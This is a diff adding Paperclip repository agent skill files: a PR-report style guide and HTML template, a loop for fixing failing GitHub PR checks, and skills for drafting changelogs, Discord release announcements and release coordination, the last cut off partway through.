<h3>Finding Title</h3>
<p>Use findings for the sharpest judgment calls and risks.</p>
<div class="ref">path/to/file.ts:30</div>
</article>
</section>
<section class="panel" id="recommendation">
<h2>Recommendation</h2>
<div class="card-grid">
<div class="card">
<h3>Path Forward</h3>
<p>Use this area for merge guidance, salvage plan, or rollout advice.</p>
</div>
<div class="card">
<h3>What To Keep</h3>
<p>Call out the parts worth preserving even if the whole proposal should not land.</p>
</div>
</div>
</section>
</main>
</div>
</body>
</html>
@@ -0,0 +1,149 @@
# PR Report Style Guide
Use this guide when the user wants a report artifact, especially a webpage.
## Goal
Make the report feel like an editorial review, not an internal admin dashboard.
The page should make a long technical argument easy to scan without looking
generic or overdesigned.
## Visual Direction
Preferred tone:
- editorial
- warm
- serious
- high-contrast
- handcrafted, not corporate SaaS
Avoid:
- default app-shell layouts
- purple gradients on white
- generic card dashboards
- cramped pages with weak hierarchy
- novelty fonts that hurt readability
## Typography
Recommended pattern:
- one expressive serif or display face for major headings
- one sturdy sans-serif for body copy and UI labels
Good combinations:
- Newsreader + IBM Plex Sans
- Source Serif 4 + Instrument Sans
- Fraunces + Public Sans
- Libre Baskerville + Work Sans
Rules:
- headings should feel deliberate and large
- body copy should stay comfortable for long reading
- reference labels and badges should use smaller dense sans text
## Layout
Recommended structure:
- a sticky side or top navigation for long reports
- one strong hero summary at the top
- panel or paper-like sections for each major topic
- multi-column card grids for comparisons and strengths
- single-column body text for findings and recommendations
Use generous spacing. Long-form technical reports need breathing room.
## Color
Prefer muted paper-like backgrounds with one warm accent and one cool counterweight.
Suggested token categories:
- `--bg`
- `--paper`
- `--ink`
- `--muted`
- `--line`
- `--accent`
- `--good`
- `--warn`
- `--bad`
The accent should highlight navigation, badges, and important labels. Do not
let accent colors dominate body text.
## Useful UI Elements
Include small reusable styles for:
- summary metrics
- badges
- quotes or callouts
- finding cards
- severity labels
- reference labels
- comparison cards
- responsive two-column sections
## Motion
Keep motion restrained.
Good:
- soft fade/slide-in on first load
- hover response on nav items or cards
Bad:
- constant animation
- floating blobs
- decorative motion with no reading benefit
## Content Presentation
Even when the user wants design polish, clarity stays primary.
Good structure for long reports:
1. executive summary
2. what changed
3. tutorial explanation
4. strengths
5. findings
6. comparisons
7. recommendation
The exact headings can change. The important thing is to separate explanation
from judgment.
## References
Reference labels should be visually quiet but easy to spot.
Good pattern:
- small muted text
- monospace or compact sans
- keep them close to the paragraph they support
## Starter Usage
If you need a fast polished base, start from:
- `assets/html-report-starter.html`
Customize:
- fonts
- color tokens
- hero copy
- section ordering
- card density
Do not preserve the placeholder sections if they do not fit the actual report.
+209
View File
@@ -0,0 +1,209 @@
---
name: prcheckloop
description: >
Iteratively gets a GitHub pull request's checks green. Detects the PR for the
current branch or uses a provided PR number, waits for every check on the
latest head SHA to appear and finish, investigates failing checks, fixes
actionable code or test issues, pushes, and repeats. Escalates with a precise
blocker when failures are external, flaky, or not safely fixable. Use when a
PR still has unsuccessful checks after review fixes, including after greploop.
---
# PRCheckloop
Get a GitHub PR to a fully green check state, or exit with a concrete blocker.
## Scope
- GitHub PRs only. If the repo is GitLab, stop and use `check-pr`.
- Focus on checks for the latest PR head SHA, not old commits.
- Focus on CI/status checks, not review comments or PR template cleanup.
- If the user also wants review-comment cleanup, pair this with `check-pr`.
## Inputs
- **PR number** (optional): If not provided, detect the PR for the current branch.
- **Max iterations**: default `5`.
## Workflow
### 1. Identify the PR
If no PR number is provided, detect it from the current branch:
```bash
gh pr view --json number,headRefName,headRefOid,url,isDraft
```
If needed, switch to the PR branch before making changes.
Stop early if:
- `gh` is not authenticated
- there is no PR for the branch
- the repo is not hosted on GitHub
### 2. Track the latest head SHA
Always work against the current PR head SHA:
```bash
PR_JSON=$(gh pr view "$PR_NUMBER" --json number,headRefName,headRefOid,url)
HEAD_SHA=$(echo "$PR_JSON" | jq -r .headRefOid)
PR_URL=$(echo "$PR_JSON" | jq -r .url)
```
Ignore failing checks from older SHAs. After every push, refresh `HEAD_SHA` and
restart the inspection loop.
### 3. Inventory checks for that SHA
Fetch both GitHub check runs and legacy commit status contexts:
```bash
gh api "repos/{owner}/{repo}/commits/$HEAD_SHA/check-runs?per_page=100"
gh api "repos/{owner}/{repo}/commits/$HEAD_SHA/status"
```
For a compact PR-level view, this GraphQL payload is useful:
```bash
gh api graphql -f query='
query($owner:String!, $repo:String!, $pr:Int!) {
repository(owner:$owner, name:$repo) {
pullRequest(number:$pr) {
headRefOid
url
statusCheckRollup {
contexts(first:100) {
nodes {
__typename
... on CheckRun { name status conclusion detailsUrl workflowName }
... on StatusContext { context state targetUrl description }
}
}
}
}
}
}' -F owner=OWNER -F repo=REPO -F pr="$PR_NUMBER"
```
### 4. Wait for checks to actually run
After a new push, checks can take a moment to appear. Poll every 15-30 seconds
until one of these is true:
- checks have appeared and every item is in a terminal state
- checks have appeared and at least one failed
- no checks appear after a reasonable wait, usually 2 minutes
Treat these as terminal success states:
- check runs: `SUCCESS`, `NEUTRAL`, `SKIPPED`
- status contexts: `SUCCESS`
Treat these as pending:
- check runs: `QUEUED`, `PENDING`, `WAITING`, `REQUESTED`, `IN_PROGRESS`
- status contexts: `PENDING`
Treat these as failures:
- check runs: `FAILURE`, `TIMED_OUT`, `CANCELLED`, `ACTION_REQUIRED`, `STARTUP_FAILURE`, `STALE`
- status contexts: `FAILURE`, `ERROR`
If no checks appear for the latest SHA, inspect `.github/workflows/`, workflow
path filters, and branch protection expectations. If the missing check cannot be
caused or fixed from the repo, escalate.
### 5. Investigate failing checks
For GitHub Actions failures, inspect runs and failed logs for the current SHA:
```bash
gh run list --commit "$HEAD_SHA" --json databaseId,workflowName,status,conclusion,url,headSha
gh run view <RUN_ID> --json databaseId,name,workflowName,status,conclusion,jobs,url,headSha
gh run view <RUN_ID> --log-failed
```
For each failing check, classify it:
| Failure type | Action |
|---|---|
| Code/test regression | Reproduce locally, fix, and verify |
| Lint/type/build mismatch | Run the matching local command from the workflow and fix it |
| Flake or transient infra issue | Rerun once if evidence supports flakiness |
| External service/status app failure | Escalate with the details URL and owner guess |
| Missing secret/permission/branch protection issue | Escalate immediately |
Only rerun a failed job once without code changes. Do not loop on reruns.
### 6. Fix actionable failures
If the failure is actionable from the checked-out code:
1. Read the workflow or failing command to identify the real gate.
2. Reproduce locally where reasonable.
3. Make the smallest correct fix.
4. Run focused verification first, then broader verification if needed.
5. Commit in a logical commit.
6. Push before re-checking the PR.
Do not stop at a local fix. The loop is only complete when the remote PR checks
for the new head SHA are green.
### 7. Push and repeat
After each fix:
```bash
git push
sleep 5
```
Then refresh the PR metadata, get the new `HEAD_SHA`, and restart from Step 3.
Exit the loop only when:
- all checks for the latest head SHA are green, or
- a blocker remains after reasonable repair effort, or
- the max iteration count is reached
### 8. Escalate blockers precisely
If you cannot get the PR green, report:
- PR URL
- latest head SHA
- exact failing or missing check names
- details URLs
- what you already tried
- why it is blocked
- who should likely unblock it
- the next concrete action
Good blocker examples:
- external status app outage
- missing GitHub secret or permission
- required check name mismatch in branch protection
- persistent flake after one rerun
- failure needs credentials or infrastructure access you do not have
## Output
When the skill completes, report:
- PR URL and branch
- final head SHA
- green/pending/failing check summary
- fixes made and verification run
- whether changes were pushed
- blocker summary if not fully green
## Notes
- This skill is intentionally narrower than `check-pr`: it is a repair loop for
PR checks.
- This skill complements `greploop`: Greptile can be perfect while CI is still
red.
@@ -0,0 +1,406 @@
---
name: release-changelog-discord-message
description: >
Write the Discord release announcement for a stable Paperclip release. Companion
to `release-changelog` — that skill produces the file at `releases/vYYYY.MDD.P.md`;
this one turns that file into a single copy-pasteable Discord post in dotta's
voice and attaches it as the `discord_announcement` document on the release
issue.
---
# Release Discord Announcement Skill
Write the Discord release announcement for the **stable** Paperclip release.
This is the companion to `.agents/skills/release-changelog/SKILL.md`. That skill
generates the file at `releases/vYYYY.MDD.P.md`. This skill turns that file into
a single copy-pasteable Discord block, in dotta's voice, and posts it as the
`discord_announcement` document on the release issue.
## What dotta said
> This is for discord — try to follow my format. If I have a section where I
> think about the future, pull from recent issues we're working on etc.
The Discord announcement is **not** the changelog. The changelog is exhaustive;
the announcement is opinionated, in-voice, and built around the same handful of
shipped highlights plus a real "what's next" + "what's on my mind" pulled from
current Paperclip work — not invented.
## When to use
- After `release-changelog` has produced `releases/vYYYY.MDD.P.md` on the
release worktree/PR.
- When the release issue (the one assigned by the release routine) asks for a
Discord announcement, or has a `discord_announcement` document that needs to
be refreshed for a new date/version.
- Never run this in isolation. The version, date, contributor list, and
highlight set MUST match the matching changelog file — if the changelog has
been updated, refresh this too.
## Output
A single fenced markdown code block, ready to paste into Discord. Attached as
issue document key `discord_announcement` on the release issue, and pasted
verbatim into a comment on that issue so the human can copy it out.
```bash
PUT /api/issues/{releaseIssueId}/documents/discord_announcement
{
"title": "Discord announcement",
"format": "markdown",
"body": "<the announcement>",
"baseRevisionId": "<latest if updating>"
}
```
If the document already exists, fetch it first and pass the current
`baseRevisionId`. Never overwrite silently — if the version has changed since
the document was last written, mention what changed in the issue comment.
## Format (follow this template)
Use Discord emoji shortcodes (`:paperclip:`, `:lock:`, `:brain:` …) — NOT the
Unicode emoji. Discord renders the shortcodes; the changelog file uses prose.
```
:paperclip: :paperclip: :paperclip: CLIPPERS!!! v{VERSION} IS OUT :paperclip: :paperclip: :paperclip:
OFFICIAL TWITTER: https://x.com/papercliping - follow it, report any others
## Highlights
:emoji: **Feature Name** - one-sentence description in dotta's voice.
:emoji: **Feature Name** - …
:emoji: **Feature Name** - …
... and a long tail of {flavor of the rest}. Read the [full release notes](<github link>).
## WHATS NEXT (:motorway: Roadmap)
* **Theme A** - one-line forward-looking blurb
* **Theme B** - …
* **Theme C** - …
## What's on my mind
* **Topic** - what's bugging dotta / what's queued / open questions
* **Topic** - …
## PRESS (optional — only if there is real press)
* **Outlet / Person** - what happened ([link](<x.com link>))
## WHAT I NEED FROM YOU (optional — only if there's a real ask)
FOLLOW THE TWITTER: https://x.com/papercliping - that's the only official one
TELL ME if you're using Paperclip in your business - I want to meet you
## Community
Thank you to everyone who contributed to this release!
```
@username1, @username2, @username3
```
## In Summary
PAPERCLIP IS THE AI ORCHESTRATOR FOR HUMANS TO ACCOMPLISH 100x MORE WORK
Every single person will be managing a team of a dozen, or a hundred, or a
thousand agents and Paperclip will be the default tool to manage it all.
ITS TIME TO CLIP :paperclip: :paperclip: :paperclip:
FULL RELEASE NOTES
https://github.com/paperclipai/paperclip/blob/master/releases/v{VERSION}.md
||@everyone||
```
Notes on the template:
- The opening and closing `:paperclip: :paperclip: :paperclip:` bookends are
part of the brand — keep them.
- Sections may be UPPERCASE or Title Case — dotta has used both. Pick a style
and stay consistent within a single post.
- Use `||@everyone||` (Discord spoiler-wrapped) at the very end so it pings
exactly once when the spoiler is removed by the poster.
## Language tips
These are extracted from how dotta has written the last several announcements.
Mimic this register; do not invent a "professional" tone.
- **First person, conversational.** "I want to meet companies using Paperclip",
"what's on my mind", "if that's you let me know". Not "Paperclip is excited
to announce".
- **ALL CAPS for excitement and asks**, especially in the opener, the section
headers, the "WHAT I NEED FROM YOU" section, and the closing tagline. Do not
ALL-CAPS feature descriptions.
- **One emoji shortcode per highlight bullet**, picked to evoke the feature
(`:lock:` for secrets, `:brain:` for planning, `:mag:` for search,
`:cloud:` for cloud / sandbox, `:jigsaw:` for plugins, `:rewind:` for
history/restore, `:thread:` for threads, etc.).
- **Highlight bullets are one sentence**, opinionated, told from the user's
perspective — "the cloud-secrets prereq is real now", not "added support
for…".
- **Tail line after highlights** wraps the rest in a single sentence and links
to the full release notes ("… and a long tail of {flavor}. Read the [full
release notes](url).").
- **"WHATS NEXT" is forward-looking themes**, not a literal sprint list. 3–5
bullets is the right size. Pull these from active goals, in-flight projects,
and recent issues the team is working on — do not invent themes.
- **"What's on my mind"** is dotta's personal/strategic thinking — docs gaps,
philosophical positioning ("we're the human control plane for ai labor"),
invitations ("if you've ever wanted to write about how you use Paperclip,
hit me up"). Pull real tensions from recent issues/comments; do not invent.
- **Press section** is optional. Only include it if there is real press in the
release window (a tweet, a podcast, a talk, a star milestone). No press →
drop the section entirely.
- **"WHAT I NEED FROM YOU"** is optional. Use it for a single concrete ask
(follow the twitter, intros, beta sign-ups). No real ask → drop it.
- **Community** is the same contributors list that's in the changelog file,
fenced in a triple-backtick block, comma-separated `@username, @username`.
Exclude bots and Paperclip founders, same rules as the changelog skill.
- **The "In Summary" mission line** evolves slowly. Use the most recent
variant unless dotta tells you otherwise. Recent variants:
- "PAPERCLIP IS THE AI ORCHESTRATOR FOR HUMANS TO ACCOMPLISH 100x MORE WORK"
- "PAPERCLIP WILL BE THE DEFAULT AGENT-MANAGEMENT TOOL FOR EVERY COMPANY"
- "Paperclip will be _the_ control plane for AI agents in **every** company."
- **Closing tagline** is always `ITS TIME TO CLIP :paperclip: :paperclip:
:paperclip:`. Keep it.
## Workflow
1. Read the matching `releases/vYYYY.MDD.P.md` produced by `release-changelog`.
Use the version and contributor list from that file — never re-derive them.
2. Read the **release issue thread** (the one assigned to you that ran the
release routine) — comments + linked issues + recent issues in the company
are the source for `WHATS NEXT` and `What's on my mind`. Pull real themes,
not invented ones.
3. Re-read the three verbatim examples below — they're the canonical voice.
4. Draft the announcement using the template above.
5. PUT it as the `discord_announcement` document on the release issue (see
"Output" above). If updating, send the latest `baseRevisionId`.
6. Post a comment on the release issue that includes the announcement inside a
single fenced markdown code block, so dotta can copy-paste it into Discord
without opening the document.
Do not publish to Discord. This skill only prepares the artifact.
## Verbatim previous examples
Three previous Discord announcements from dotta, included **verbatim** as the
ground-truth examples for voice, structure, and emoji usage. When in doubt,
match these.
### Example 1 — v2026.403.0
```
CLIPPERS! v2026.403.0 has dropped!! :paperclip: :paperclip: :paperclip:
## Highlights
:inbox_tray: **Inbox overhaul** - there is a new "mine" tab that has mail-client like keyboard shortcuts. It's my new default view for managing work
:thumbsup: **Feedback and evals** - you can now vote :thumbsup: / :thumbsdown: on your agent's responses. If you choose to share your traces with me, I'll use it to make Paperclip better. In either case you can export locally for your own org's learning
:page_with_curl: **Document revisions** - you can now restore old versions of your documents
:ping_pong: **Telemetry** - this version has anonymized telemetry that helps me better understand the basic uses of Paperclip (adapters and so on) - if you hate that, just it disable with `DO_NOT_TRACK=1` or `PAPERCLIP_TELEMETRY_DISABLED=1` environment variables
:construction_worker: **Execution Workspaces (experimental)** - Paperclip is not a "code review" tool, but I have been finding worktrees are important for certain projects. Enable it in experimental settings
:loop: **Routine variables** - sometimes you need to customize a routine and the new variables feature makes that easy
PLUS **tons** of improvements aound adapters, bugfixes, qol
## COMMUNITY
HUGE THANKS to the contributors with commits in this release:
```
@aronprins, @bittoby, @edimuj, @HenkDz, @kevmok, @mvanhorn, @radiusred, @remdev, @statxc, @vanductai
```
## WHATS NEXT (ROADMAP)
* **Multi-human users** -- you've been asking for it, we have a draft and will have this shortly
* **Sandbox execution** - the other half of cloud deployment: run your agents in a sandbox across any provider
PLUS: just dealing with the excellent PRs we have sitting in our inbox.
**What's also on my mind (coming soonish)**
* MAXIMIZER MODE - for when you've got a dream and tokens to burn
* Artifacts, work products, and deployments
* CEO Chat
* Stronger agent defaults
## PRESS
I've been doing my part to spread the word about Paperclip
* We talked to the incredible [Andrew Warner of Mixergy Fame](https://x.com/dotta/status/2039087507514507407)
* We gave a tutorial with the [inimitable Greg Isenberg](https://x.com/dotta/status/2037279902445994345)
* We met with the [Seed Club guys](https://x.com/dotta/status/2039020365926576377)
* We crossed [40k stars (46k now!)](https://x.com/dotta/status/2038638188227387613)
* ... and a couple others that will be released in a few days
## SUCCESS STORIES
* [Nevo made $76k in march](https://x.com/dotta/status/2039406772859920758) after using Paperclip to automate his marketing
* [Lewis Jackson](https://x.com/WhatSayLew/status/2039810227394978158) said 34 agents were already operating his trading firm through Paperclip and called it his "holy s***" AI moment.
* [Neal Kotak](https://x.com/nkotak1/status/2039582439459209638) said Paperclip already runs most of Roominary for him and praised how strong the product is.
* [Sam Woods](https://x.com/samwoods/status/2039039305960587755) said he knows several people who moved from OpenClaw to Paperclip, often with Hermes in the stack, and that they love it.
* [Josh Galt](https://x.com/JoshGalt/status/2039386307219095557) called Paperclip the coolest agent tooling he has used and said it is finally something that just works.
## IN SUMMARY
I know there are still some rough edges, but
Paperclip will be *the* control plane for AI agents in **every** company.
and I think we're moving at a pretty good clip :paperclip: :paperclip: :paperclip:
FULL RELEASE NOTES HERE
https://github.com/paperclipai/paperclip/releases/tag/v2026.403.0
||@everyone||
```
### Example 2 — v2026.416.0
```
:paperclip: :paperclip: :paperclip: CLIPPERS!!! v2026.416.0 IS OUT :paperclip: :paperclip: :paperclip:
## Highlights
This release has *tons* of quality of life improvements around speed, performance, and workflow. You should notice that comment threads feel faster and your agents stay on task longer
:thread: Issue chat threads now are a conversation more than comments
:police_officer: Execution policies like **Reviewer** and **Approver** are now first-class in the harness (e.g. enforce that QA *must* review a task)
:no_smoking: Blocker dependencies - first-class "wake on blocker resolved" which means now you can have "task graphs" that depend on one another and it's enforced by Paperclip
:woman_feeding_baby: Parent-child tasks - better support for sub-tasks all around, which makes it much easier to organize your work
And then a million fixes around ux, details, keyboard shortcuts, bug fixes, security fixes, etc. Really you should read the [full release notes here](https://github.com/paperclipai/paperclip/releases/tag/v2026.416.0)
## COMMUNITY
INCREDIBLE INCREDIBLE WORK BY folks with commits and reports in this release:
```
@AllenHyang, @antonio-mello-ai, @aronprins, @chrisschwer, @cleanunicorn, @DanielSousa, @davison, @ergonaworks, @HearthCore, @HenkDz, @KhairulA, @kimnamu, @Lempkey, @marysomething99-prog, @mvanhorn, @officialasishkumar, @plind-dm, @shoaib050326, @sparkeros, @wbelt, @offset, @sagilayani, @mattdonnelly10, @peaktwilight, @YuvalElbar6
```
## WHATS NEXT (:motorway: Roadmap)
* **Multi-human users** - in the last stages of testing, Paperclip is better with teams
* **Memory Infrastructure** - your agents will remember everything about yoru business
* **Sandbox execution** - run your agents anywhere
## What's on my mind
* I want to meet with companies who are using Paperclip in their business - if that's you let me know
* We need more Paperclip tutorials, defaults, and education - thanks to @aronprins for his work in this area already!
* We still need to get better at reviewing your PRs and we're improving our process every day
* "Zero-human company" language has to go - we're the human control plane for ai labor
* We're adding better support for *knowledge (wikis & files)*, *artifacts*, and *work product* in Paperclip soon.
## PRESS
* **AI Engineer Europe Tutorial** - I gave a tutorial for AIE. If someone is looking for a basics ABC of Paperclip [you can send them this](https://x.com/dotta/status/2044575580264316931)
* **AI Club Chicago** - JB gave a talk on Paperclip [at AI Tinkerers in Chicago](https://x.com/developwithJB/status/2044281068778316268) !
## IN SUMMARY
PAPERCLIP WILL BE THE DEFAULT AGENT-MANAGEMENT TOOL FOR EVERY COMPANY
If there's anything I can do to help you and your company use Paperclip, hit me up. Until then, enjoy the new release
ITS TIME TO CLIP :paperclip: :paperclip: :paperclip:
FULL RELEASE NOTES
https://github.com/paperclipai/paperclip/releases/tag/v2026.416.0
||@everyone||
```
### Example 3 — v2026.427.0
```
:paperclip: :paperclip: :paperclip: CLIPPERS!!! v2026.427.0 IS OUT :paperclip: :paperclip: :paperclip:
THIS IS THE OFFICIAL TWITTER FOLLOW IT: https://x.com/papercliping
## Highlights
:man_feeding_baby: **MULTI USER** - you can now invite multiple users to your instance
:factory_worker: **HARDER WORKING** - robosut liveness continuations and lifecycle recovery means your instance tries harder before involving you
:white_check_mark: **SUBISSUE CHECKLISTS** - subissues have better ordering which allows for long-run planning
:thread: **Rich Thread UX** - now your agents can ask you questions, ask for approvals, suggest tasks and you can approve or refine them right in your task threads
:cloud: **BETA: Sandbox Providers** - Cloud sandboxing is in beta - the API ships in this release and we'll be adding more providers
... and *tons* of other improvements and bugfixes.
## Community
Thank you to everyone who contributed to this release!
```
@akhater, @aronprins, @GodsBoy, @LeonSGP43, @neerazz, @NoronhaH, @rbarinov, @rvanduiven, @SgtPooki, @superbiche
```
## WHATS NEXT (:motorway: Roadmap)
* **Longer-range planning and execution** - Paperclip will support longer and longer tasks and work until it's done
* **Secrets Service v2** - an important prereq for Paperclip cloud
* **Artifacts, memory, and knowledge**
* **Conference Room** aka CEO/Agent Chat
## What's on my mind
* **Documentation & Blog posts** - I've fallen behind on the docs but aron has done a good job here - we'll be setting up Clips to help maintain these
* **Paperclip Cloud** - will be a critical unlock for us, but even the shared team story needs developed more - *where should the work be done* and *where are the outputs stored* and *how do we surface them to users*? Each of these questions are a core Paperclip service that needs developed
* **Paperclip Bench** - In the vein of SWE-Bench I've started an internal benchmark for Paperclip - we have to be able to measure that our changes are improving the system and not regressing
* **Paperclip Connections Store** - connecting to Github, Slack, Google Docs, and the hundreds of other services we use every day should be easy, secure, and configurable per agent and team
## Press
I met with the [Wisemen about Paperclip](https://x.com/dotta/status/2045146539534827998)
## WHAT I NEED FROM YOU
FOLLOW THIS TWITTER ACCOUNT: https://x.com/papercliping - that's the only official one, report any others
## In Summary
PAPERCLIP IS THE AI ORCHESTRATOR FOR HUMANS TO ACCOMPLISH 100x MORE WORK
Every single person will be managing a team of a dozen, or a hundred, or a thousand agents and Paperclip will be the default tool to manage it all.
ITS TIME TO CLIP :paperclip: :paperclip: :paperclip:
FULL RELEASE NOTES
https://github.com/paperclipai/paperclip/blob/master/releases/v2026.427.0.md
||@everyone||
```
## Review checklist
Before handing off:
1. Version + date match the matching `releases/vYYYY.MDD.P.md` exactly.
2. Contributor list matches the changelog (same exclusions: bots, founders).
3. Highlights are a subset of the changelog Highlights — same shipped features,
not invented or pre-alpha work.
4. `WHATS NEXT` and `What's on my mind` are pulled from real recent issues /
active goals — not invented themes.
5. Section style (UPPERCASE vs Title Case) is internally consistent.
6. Closing tagline is `ITS TIME TO CLIP :paperclip: :paperclip: :paperclip:`
and `||@everyone||` is the very last line.
7. Document `discord_announcement` is updated on the release issue, and the
announcement is also posted in a comment inside a fenced code block.
This skill never posts to Discord. It only prepares the announcement artifact.
+200
View File
@@ -0,0 +1,200 @@
---
name: release-changelog
description: >
Generate the stable Paperclip release changelog at releases/vYYYY.MDD.P.md by
reading commits, changesets, and merged PR context since the last stable tag.
---
# Release Changelog Skill
Generate the user-facing changelog for the **stable** Paperclip release.
## Versioning Model
Paperclip uses **calendar versioning (calver)**:
- Stable releases: `YYYY.MDD.P` (e.g. `2026.318.0`)
- Canary releases: `YYYY.MDD.P-canary.N` (e.g. `2026.318.1-canary.0`)
- Git tags: `vYYYY.MDD.P` for stable, `canary/vYYYY.MDD.P-canary.N` for canary
There are no major/minor/patch bumps. The stable version is derived from the
intended release date (UTC) plus the next same-day stable patch slot.
Output:
- `releases/vYYYY.MDD.P.md`
Important rules:
- even if there are canary releases such as `2026.318.1-canary.0`, the changelog file stays `releases/v2026.318.1.md`
- do not derive versions from semver bump types
- do not create canary changelog files
## Step 0 — Idempotency Check
Before generating anything, check whether the file already exists:
```bash
ls releases/vYYYY.MDD.P.md 2>/dev/null
```
If it exists:
1. read it first
2. present it to the reviewer
3. ask whether to keep it, regenerate it, or update specific sections
4. never overwrite it silently
## Step 1 — Determine the Stable Range
Find the last stable tag:
```bash
git tag --list 'v*' --sort=-version:refname | head -1
git log v{last}..HEAD --oneline --no-merges
```
The stable version comes from one of:
- an explicit maintainer request
- `./scripts/release.sh stable --date YYYY-MM-DD --print-version`
- the release plan already agreed in `doc/RELEASING.md`
Do not derive the changelog version from a canary tag or prerelease suffix.
Do not derive major/minor/patch bumps from API intent — calver uses the date and same-day stable slot.
## Step 2 — Gather the Raw Inputs
Collect release data from:
1. git commits since the last stable tag
2. `.changeset/*.md` files
3. merged PRs via `gh` when available
Useful commands:
```bash
git log v{last}..HEAD --oneline --no-merges
git log v{last}..HEAD --format="%H %s" --no-merges
ls .changeset/*.md | grep -v README.md
gh pr list --state merged --search "merged:>={last-tag-date}" --json number,title,body,labels
```
## Step 3 — Detect Breaking Changes
Look for:
- destructive migrations
- removed or changed API fields/endpoints
- renamed or removed config keys
- `BREAKING:` or `BREAKING CHANGE:` commit signals
Key commands:
```bash
git diff --name-only v{last}..HEAD -- packages/db/src/migrations/
git diff v{last}..HEAD -- packages/db/src/schema/
git diff v{last}..HEAD -- server/src/routes/ server/src/api/
git log v{last}..HEAD --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true
```
If breaking changes are detected, flag them prominently — they must appear in the
Breaking Changes section with an upgrade path.
## Step 4 — Categorize for Users
Use these stable changelog sections:
- `Breaking Changes`
- `Highlights`
- `Improvements`
- `Fixes`
- `Upgrade Guide` when needed
Exclude purely internal refactors, CI changes, and docs-only work unless they materially affect users.
Guidelines:
- group related commits into one user-facing entry
- write from the user perspective
- keep highlights short and concrete
- spell out upgrade actions for breaking changes
### Inline PR and contributor attribution
When a bullet item clearly maps to a merged pull request, add inline attribution at the
end of the entry in this format:
```
- **Feature name** — Description. ([#123](https://github.com/paperclipai/paperclip/pull/123), @contributor1, @contributor2)
```
Rules:
- Only add a PR link when you can confidently trace the bullet to a specific merged PR.
Use merge commit messages (`Merge pull request #N from user/branch`) to map PRs.
- List the contributor(s) who authored the PR. Use GitHub usernames, not real names or emails.
- If multiple PRs contributed to a single bullet, list them all: `([#10](url), [#12](url), @user1, @user2)`.
- If you cannot determine the PR number or contributor with confidence, omit the attribution
parenthetical — do not guess.
- Core maintainer commits that don't have an external PR can omit the parenthetical.
## Step 5 — Write the File
The opening line of the changelog must be an H1 of the format `# Paperclip {version}`
(no braces), e.g. `# Paperclip v2026.618.0`. Always include the `Paperclip ` prefix and
the `v` on the version.
Template:
```markdown
# Paperclip vYYYY.MDD.P
> Released: YYYY-MM-DD
## Breaking Changes
## Highlights
## Improvements
## Fixes
## Upgrade Guide
## Contributors
Thank you to everyone who contributed to this release!
@username1, @username2, @username3
```
Omit empty sections except `Highlights`, `Improvements`, and `Fixes`, which should usually exist.
The `Contributors` section should always be included. List every person who authored
commits in the release range, @-mentioning them by their **GitHub username** (not their
real name or email). To find GitHub usernames:
1. Extract usernames from merge commit messages: `git log v{last}..HEAD --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username.
2. For noreply emails like `user@users.noreply.github.com`, the username is the part before `@`.
3. For contributors whose username is ambiguous, check `gh api users/{guess}` or the PR page.
**Never expose contributor email addresses.** Use `@username` only.
Exclude bot accounts (e.g. `lockfile-bot`, `dependabot`) from the list.
Exclude Paperclip founders from the list (e.g. `cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`)
List contributors in alphabetical order by GitHub username (case-insensitive).
If there are no contributors left after exclusions, then just skip this section and don't mention it.
## Step 6 — Review Before Release
Before handing it off:
1. confirm the H1 heading is `# Paperclip {version}` (e.g. `# Paperclip v2026.618.0`) with the stable version only
2. confirm there is no `-canary` language in the title or filename
3. confirm any breaking changes have an upgrade path
4. present the draft for human sign-off
This skill never publishes anything. It only prepares the stable changelog artifact.
+247
View File
@@ -0,0 +1,247 @@
---
name: release
description: >
Coordinate a full Paperclip release across engineering verification, npm,
GitHub, smoke testing, and announcement follow-up. Use when leadership asks
to ship a release, not merely to discuss versioning.
---
# Release Coordination Skill
Run the full Paperclip maintainer release workflow, not just an npm publish.
This skill coordinates:
- stable changelog drafting via `release-changelog`
- canary verification and publish status from `master`
- Docker smoke testing via `scripts/docker-onboard-smoke.sh`
- manual stable promotion from a chosen source ref
- GitHub Release creation
- website / announcement follow-up tasks
## Trigger
Use this skill when leadership asks for:
- "do a release"
- "ship the release"
- "promote this canary to stable"
- "cut the stable release"
## Preconditions
Before proceeding, verify all of the following:
1. `.agents/skills/release-changelog/SKILL.md` exists and is usable.
2. The repo working tree is clean, including untracked files.
3. There is at least one canary or candidate commit since the last stable tag.
4. The candidate SHA has passed the verification gate or is about to.
5. If manifests changed, the CI-owned `pnpm-lock.yaml` refresh is already merged on `master`.
6. npm publish rights are available through GitHub trusted publishing, or through local npm auth for emergency/manual use.
7. If running through Paperclip, you have issue context for status updates and follow-up task creation.
If any precondition fails, stop and report the blocker.
## Inputs
Collect these inputs up front:
- whether the target is a canary check or a stable promotion
- the candidate `source_ref` for stable
- whether the stable run is dry-run or live
- release issue / company context for website and announcement follow-up
## Step 0 — Release Model
Paperclip now uses a commit-driven release model:
1. every push to `master` publishes a canary automatically
2. canaries use `YYYY.MDD.P-canary.N`
3. stable releases use `YYYY.MDD.P`
4. the middle slot is `MDD`, where `M` is the UTC month and `DD` is the zero-padded UTC day
5. the stable patch slot increments when more than one stable ships on the same UTC date
6. stable releases are manually promoted from a chosen tested commit or canary source commit
7. only stable releases get `releases/vYYYY.MDD.P.md`, git tag `vYYYY.MDD.P`, and a GitHub Release
Critical consequences:
- do not use release branches as the default path
- do not derive major/minor/patch bumps
- do not create canary changelog files
- do not create canary GitHub Releases
## Step 1 — Choose the Candidate
For canary validation:
- inspect the latest successful canary run on `master`
- record the canary version and source SHA
For stable promotion:
1. choose the tested source ref
2. confirm it is the exact SHA you want to promote
3. resolve the target stable version with `./scripts/release.sh stable --date YYYY-MM-DD --print-version`
Useful commands:
```bash
git tag --list 'v*' --sort=-version:refname | head -1
git log --oneline --no-merges
npm view paperclipai@canary version
```
## Step 2 — Draft the Stable Changelog
Stable changelog files live at:
- `releases/vYYYY.MDD.P.md`
Invoke `release-changelog` and generate or update the stable notes only.
Rules:
- review the draft with a human before publish
- preserve manual edits if the file already exists
- keep the filename stable-only
- do not create a canary changelog file
## Step 3 — Verify the Candidate SHA
Run the standard gate:
```bash
pnpm -r typecheck
pnpm test:run
pnpm build
```
If the GitHub release workflow will run the publish, it can rerun this gate. Still report local status if you checked it.
For PRs that touch release logic, the repo also runs a canary release dry-run in CI. That is a release-specific guard, not a substitute for the standard gate.
## Step 4 — Validate the Canary
The normal canary path is automatic from `master` via:
- `.github/workflows/release.yml`
